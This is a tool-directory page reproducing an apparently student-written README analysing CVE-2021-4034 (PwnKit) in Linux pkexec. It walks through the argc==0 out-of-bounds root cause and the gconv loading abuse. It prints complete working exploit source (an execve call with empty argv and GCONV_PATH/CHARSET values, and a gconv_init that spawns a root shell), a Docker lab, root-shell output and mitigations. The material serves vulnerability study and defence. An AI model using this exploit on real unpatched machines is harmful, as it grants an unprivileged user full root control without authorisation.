Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
WHS4_CVE-2021-4034 — Whitehat School 4기 CVE-2021-4034 분석 및 POC 작성 | Kitploit
Tools/GitHubGitHub/krleejihyeong/whs4_cve-2021-4034
Privilege EscalationVulnerability AnalysisExploitationCTFPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHubkrleejihyeong/whs4_cve-2021-4034

WHS4_CVE-2021-4034

Whitehat School 4기 CVE-2021-4034 분석 및 POC 작성

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-4034 (PwnKit) - Local Privilege Escalation PoC

🔗 Original Project: berdav/CVE-2021-4034
This project is an educational analysis and modification based on the original.
MIT License Compliant | White Hat School Training Task


📋 Overview

CVE-2021-4034 is a local privilege escalation vulnerability in Linux policykit-1 (PolicyKit). By executing pkexec without arguments, an unprivileged user can exploit a flaw in the process memory structure, causing glib to re-reference environment variable strings that should have been filtered out, thereby loading a malicious .so file and gaining root privileges.

⚠️ Educational Purposes Only: This code should only be used on modified systems.
Using it to attack real systems may result in legal liability.


🎯 Vulnerability Summary

ItemDetails
CVE IDCVE-2021-4034
Vulnerability NamePwnKit
Affected VersionsAll polkit versions prior to patch 0.105 (test environment: policykit-1 0.105-26ubuntu1 on Ubuntu 20.04)
Vulnerability TypeLocal Privilege Escalation (LPE)
SeverityCritical (CVSS 7.8)
Patched Versionpolicykit-1 >= 0.105-26ubuntu1.1
DiscoveredJune 2021 (publicly disclosed January 2022)

It is easy to mistake this as an Ubuntu-only problem, but since it is a logic flaw in pkexec itself, most distributions using polkit are affected. The Docker test environment was Ubuntu 20.04, so that version is included in the table.


🔴 Core of the Vulnerability

When first analyzing, I thought it was "a problem caused by unchecked environment variables", but after looking at the source code and the patch commit, I realized the order is different. The real root cause lies elsewhere, and the environment variable issue is more of a consequence. Below is the flow sorted by root cause order.

1. What is pkexec?

pkexec is a SUID-root program that requests privilege escalation via PolicyKit.

root@kitploit:~
# Example: execute a command with root privileges
pkexec /bin/id
pkexec systemctl restart service

It is used when a normal user needs to perform specific tasks with administrative privileges.


2. Real Root Cause: pkexec does not handle the case where argc == 0

In the main() function of pkexec, when processing command-line arguments, it does not validate the case where the program is executed with no arguments (argc == 0). This is the real starting point of the vulnerability.

  • Normal execution: argv = {"pkexec", "command", NULL} → argc >= 1
  • Attack execution: execve("/usr/bin/pkexec", {NULL}, env) → argc == 0

When argc is 0, the argv list contains only one NULL (terminator). However, pkexec's internal logic attempts to read and write to a non-existent argv[1]. The problem is that Linux, when executing a process, places the argv array and envp (environment) array adjacent in memory. Thus, accessing out-of-bounds argv[1] actually points to envp[0], i.e., the first environment variable.

root@kitploit:~
Normal:  argv = [ "pkexec" | NULL ]
Attack:  argv = [ NULL ]                 ← argc = 0
                    ↑
             Accessing non-existent argv[1]
                    ↓
      Reads and writes envp[0] right after in memory (out-of-bounds)

Why is this dangerous?

  • Normally, ld.so removes dangerous environment variables like GCONV_PATH, LD_PRELOAD as insecure before executing a SUID program (pkexec).
  • However, due to the OOB behavior, the already-removed strings are not "restored as environment variables", but the argv pointer side makes those strings referencable again. It's not that the value is resurrected, but rather the pointer connection to that value is re-established.
  • The actual patch commit fixes this by adding a validation to exit immediately if argc < 1. (CWE-125 out-of-bounds read, CWE-787 out-of-bounds write)

📌 In summary: The lack of environment variable validation is a "condition that makes the attack work", and the real root cause is that pkexec does not handle argc == 0. Point 3 below is the consequence of this root cause.


3. Consequence: Strings that should have been filtered become referencable again

Thanks to the OOB behavior described in point 2, during pkexec's initialization of glib, this string is used again without validation.

root@kitploit:~
// CVE-2021-4034_exploit.c
char * const env[] = {
    "GCONV_PATH=.",      // ld.so should have filtered this out
    "CHARSET=PWNKIT",    // non-existent encoding
};

execve("/usr/bin/pkexec", args, env);  // argv is empty to create argc=0

Problem:

  • Due to the OOB in point 2, this string becomes referencable again and flows into the glib initialization phase unchanged.
  • From glib's perspective, there is no way to distinguish whether this value is a normal environment variable or one that was resurrected by an attacker.

4. Abusing glib's Converter Loading Mechanism

The important thing here is that glib itself does nothing wrong. If GCONV_PATH is set, it is normal behavior for glib to search for a converter in that path. The problem is that pkexec has already broken the secure execution state (where dangerous environment variables are removed) — glib simply operates normally, and that normal operation is abused.

  1. Check CHARSET environment variable

    root@kitploit:~
    CHARSET=PWNKIT
    
  2. Search for converter definition in gconv-modules file

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  3. Load .so file from GCONV_PATH

    root@kitploit:~
    GCONV_PATH=. → search for pwnkit.so in current directory
    
  4. Initialization function in .so runs automatically

    root@kitploit:~
    // pwnkit.c - Automatically executed when .so is loaded
    void gconv_init(void *step)
    {
        setuid(0);           // get root privileges
        setgid(0);
        execve("/bin/sh");   // execute root shell!
    }
    

    It is easy to call gconv_init a "constructor function", but strictly speaking, it is different from C's __attribute__((constructor)). More precisely, it is an initialization function defined by the gconv module interface, and glib calls it explicitly after loading the .so with dlopen.


5. Full Attack Flow

root@kitploit:~
┌─────────────────────────────────────┐
│ Normal User (uid=1000)               │
└─────────────────────────────────────┘
          │
          │ 1. Execute pkexec with empty argv (argc=0)
          │    + Set malicious environment variables
          │    GCONV_PATH=.  /  CHARSET=PWNKIT
          ↓
┌─────────────────────────────────────┐
│ pkexec executed                      │
│ No argc validation → OOB → string re-reference │
└─────────────────────────────────────┘
          │
          │ 2. glib processes normally
          │    Searches for CHARSET=PWNKIT encoding
          │    Finds converter in GCONV_PATH=.
          ↓
┌─────────────────────────────────────┐
│ pwnkit.so loaded                     │
│ (malicious .so file in current dir)  │
└─────────────────────────────────────┘
          │
          │ 3. gconv init function runs automatically (as root!)
          ↓
┌─────────────────────────────────────┐
│ root shell obtained ✅               │
│ uid=0(root) gid=0(root)              │
└─────────────────────────────────────┘

🚀 Quick Start

Prerequisites

  • Docker (or Docker Desktop)
  • git
  • Linux environment (or WSL 2)

Run Commands

root@kitploit:~
# 1. Get the project
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034

# 2. Check for latest version
git pull origin main

# 3. Build (no cache)
docker compose build --no-cache

# 4. Run
docker compose up

docker system prune -a --volumes --force is recommended only when the above method fails due to cache or volume issues. It is a fairly aggressive command that clears all Docker cache on the system, and may also wipe other project caches. Related content is documented separately in the "Issues and Solutions" section.

Expected Output

root@kitploit:~
pwnkit  | Current privileges (before attack): uid=1000(WHS4_student)
pwnkit  | # id
pwnkit  | uid=0(root) gid=0(root) groups=0(root)  ← Success! ✅

Actual Output


📁 Project Structure

root@kitploit:~
WHS4_CVE-2021-4034/
├── docker-compose.yml          # Docker Compose configuration
├── Dockerfile                   # Vulnerable Ubuntu 20.04 environment
├── start.sh                     # Container initialization and auto-run
├── Makefile                     # Build configuration
├── CVE-2021-4034_exploit.c      # Exploit code (pkexec invocation)
├── pwnkit.c                     # Malicious .so file (privilege escalation)
├── gconv-modules                # glib converter mapping
├── README.md                    # This file
└── LICENSE                      # MIT License

💻 PoC Code Analysis

CVE-2021-4034_exploit.c

root@kitploit:~
#include <unistd.h>

int main(int argc, char *argv[])
{
    // Do not specify a program to execute with pkexec
    // (only NULL in args) → this is what creates argc=0
    char * const args[] = {
        NULL
    };

    // 🔴 Malicious environment variables checked later (out-of-bounds reachable)
    // Became referencable again due to argc=0 OOB, passed to pkexec as-is
    char * const env[] = {
        "GCONV_PATH=.",          // converter path (current directory)
        "CHARSET=PWNKIT",        // non-existent encoding
        "SHELL=/bin/sh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // Execute pkexec (no arguments → triggers argc=0)
    execve("/usr/bin/pkexec", args, env);

    return 0;
}

Key Points:

  • args does not even include the name pkexec, making argc 0 → triggers the root cause (missing argc validation)
  • GCONV_PATH=. : After becoming referencable via OOB, glib searches for a converter in this path
  • CHARSET=PWNKIT : Induces glib to search for a converter for this encoding

pwnkit.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Function to make the .so recognized as a converter (required for format)
void gconv()
{
}

// 🎯 Core of CVE-2021-4034
// Initialization function called explicitly by glib after dlopen when .so is loaded
// This function runs with root privileges! ← Core vulnerability!
void gconv_init(void *step)
{
    char * const args[] = {
        "/bin/sh",      // execute root shell
        NULL
    };
    char * const env[] = {
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // Explicitly set root privileges (already root, but for clarity)
    setuid(0);
    setgid(0);

    // Execute root shell ← privilege escalation success!
    execve(args[0], args, env);

    exit(0);
}

Key Points:

  • gconv_init() is not a C constructor attribute; it is an initialization function that glib calls directly after dlopen according to the gconv module interface specification
  • Since pkexec runs with root privileges, this function also runs as root
  • Therefore, after setuid(0) and executing a shell, a root shell is obtained directly

✅ Verification Results

The verification results below are based on directly setting up the environment and performing the exploit manually. Therefore, using the quick run method may not produce the same results.

To get the results shown below, you must set up the environment manually using the Dockerfile, start.sh, etc. in this repository.

However, since start.sh and Dockerfile are automated to fit the assignment format, using them as-is may not yield the desired result.

You need to modify those files accordingly.

Before Attack

root@kitploit:~
$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Actual Privileges Before Attack

This screenshot was taken the first time the exploit succeeded, and shows the user's privileges.

Launch Attack

root@kitploit:~
$ ./CVE-2021-4034_exploit

Note: The exploit itself does not require sudo. The core of this vulnerability is that pkexec is already a SUID-root binary, so a root shell can be obtained with only normal user privileges. In the Docker test environment, I used sudo -E at some point, but that was only for convenience to confirm the NOPASSWD setting, and is unrelated to the vulnerability itself.

After Attack

root@kitploit:~
# id
uid=0(root) gid=0(root) groups=0(root)

# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (content only root can see)

Actual Privileges After Attack

The image shows that root privileges were obtained after the actual attack.

For a more comprehensive view of before and after the attack, I recommend looking at the image in the ### Actual Privileges Before Attack section.

✅ Privilege Escalation Successful!


📊 Evaluation Metrics

Reproducibility

Successfully reproduced in an Ubuntu 20.04-based Docker environment (policykit-1 0.105-26ubuntu1). I haven't run many repeated tests yet, so I plan to run it a few more times with different kernel/distribution versions and fill in the results.

Risk Score: 7.8 / 10.0 (Critical, CVSS 3.1)

  • Required Privileges: This is a local attack, not remote, and does not bypass remote authentication. As long as you are logged in with a normal user account, the attack is possible without additional privileges (Privileges Required: Low). This means it's not "no authentication needed at all", but rather "login itself is required, but no further privileges are needed".
  • Attack Vector: Local only (Attack Vector: Local) — This vulnerability cannot be directly exploited remotely; local shell access must be obtained first.
  • Scope: Changed. Since pkexec runs with root privileges through PolicyKit, a separate privilege management component, exploitation affects a security scope beyond the initial privilege boundary (normal user), impacting the root privilege scope (system-wide resources managed by PolicyKit). Therefore, CVSS evaluates Scope as Changed.
  • Impact: Confidentiality, Integrity, and Availability (C/I/A) are all High.
  • Reference: NVD CVSS Vector Details

🛡️ Mitigation Methods

Immediate Action

root@kitploit:~
# 1. Upgrade patch (recommended)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1

# Check version
dpkg -l | grep policykit-1
# Must be 0.105-26ubuntu1.1 or higher

Sudo Restrictions

root@kitploit:~
# Edit /etc/sudoers (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"

Environment Variable Sanitization

root@kitploit:~
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET

The patch is the fundamental solution; the above two are more like temporary workarounds until patching. Since the argc validation issue must be fixed in pkexec code, simply blocking environment variables does not completely prevent it.


⚠️ Issues Encountered and Solutions

Issue 1: docker-compose command not found

Cause: Ubuntu 24.04 does not have docker-compose (v1), only docker compose (v2)

Solution:

root@kitploit:~
# Use docker compose command (v2)
docker compose up

Issue 2: "Password request: sudo password for WHS4_student"

Cause: NOPASSWD setting in Dockerfile not applied properly (Docker cache issue)

Solution:

root@kitploit:~
docker compose build --no-cache
docker compose up

If it still doesn't work, clear the cache completely and try again.

root@kitploit:~
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache

Issue 3: GitHub updates not reflected locally

Cause: Local files remain at old version

Solution:

root@kitploit:~
# Get the latest version from GitHub
git pull origin main

# Verify files
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"

# Rebuild
docker compose up --build --no-cache

Issue 4: "The container name is already in use"

Cause: Existing container still present

Solution:

root@kitploit:~
# Remove container
docker compose down
docker rm pwnkit -f

# Run again
docker compose up

Issue 5: "permission denied" (file permissions)

Cause: Files created in Docker have root ownership

Solution:

root@kitploit:~
# On WSL/Linux
sudo rm -rf WHS4_CVE-2021-4034

📚 References and Sources

Original Project

  • Author: berdav
  • Repository: https://github.com/berdav/CVE-2021-4034
  • License: MIT License
  • Referenced parts:
    • Basic structure of CVE-2021-4034_exploit.c
    • Implementation of gconv_init in pwnkit.c
    • gconv-modules file format
    • Makefile build method

Modifications and Additions in This Project

Author: krleejihyeong

Newly written/modified parts:

  • ✅ docker-compose.yml: Docker execution environment setup
  • ✅ Dockerfile: Automatically configures vulnerable environment (dbus, polkitd, NOPASSWD settings)
  • ✅ start.sh: Auto-run script (fully automated from build to attack execution)
  • ✅ README.md: Root cause analysis of vulnerability (absence of argc validation), reproduction results, risk assessment, troubleshooting guide
  • ✅ Korean comments and explanations: Enhanced understanding of the vulnerability

Additional References

  • Qualys: CVE-2021-4034 Detailed Analysis
  • NVD: CVE-2021-4034
  • PolicyKit Official Documentation

📄 License

This project is licensed under the MIT License.

root@kitploit:~
Copyright (c) 2026 krleejihyeong (modifications and analysis)
Copyright (c) 2021 berdav (original PoC)

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

For more details, refer to the LICENSE file.


👤 Author

  • krleejihyeong - Analysis, modifications, Docker environment setup, documentation
  • berdav - Original PoC author (https://github.com/berdav/CVE-2021-4034)

⚠️ Legal Disclaimer

This project is created for strictly educational purposes.

  • ✅ Targets publicly disclosed CVE
  • ✅ Tested only on patched systems
  • ✅ Used with system administrator's permission
  • ✅ Aimed at understanding the vulnerability and improving defenses

Unauthorized access to computer systems may be legally punishable.


Last Updated: July 2026

Download Tool